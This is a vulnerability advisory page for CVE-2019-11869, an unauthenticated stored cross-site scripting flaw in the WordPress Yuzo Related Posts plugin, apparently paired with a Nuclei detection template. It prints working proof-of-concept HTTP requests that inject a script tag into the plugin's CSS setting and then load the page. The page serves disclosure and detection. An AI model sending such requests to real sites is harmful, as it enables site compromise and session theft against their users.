| Title | WordPress Yuzo <5.12.94 - Cross-Site Scripting |
|---|---|
| Author | ganofins |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Update to the latest version of the Yuzo plugin (5.12.94 or higher) to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.05601 |
| CVE ID | CVE-2019-11869 |
| CWE ID | CWE-79 |
| Tags | cve cve2019 wpscan wordpress wp-plugin xss yuzopro vkev vuln |
WordPress Yuzo Related Posts plugin before 5.12.94 is vulnerable to cross-site scripting because it mistakenly expects that is_admin() verifies that the request comes from an admin user (it actually only verifies that the request is for an admin page). An unauthenticated attacker can consequently inject a payload into the plugin settings, such as the yuzo_related_post_css_and_style setting.
POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; rv:128.12) Gecko/20100101 Firefox/128.12
Connection: close
Content-Length: 66
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
yuzo_related_post_css_and_style=</style><script>alert(0);</script>
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/9.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-11869.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-11869.pcap
N/AN/A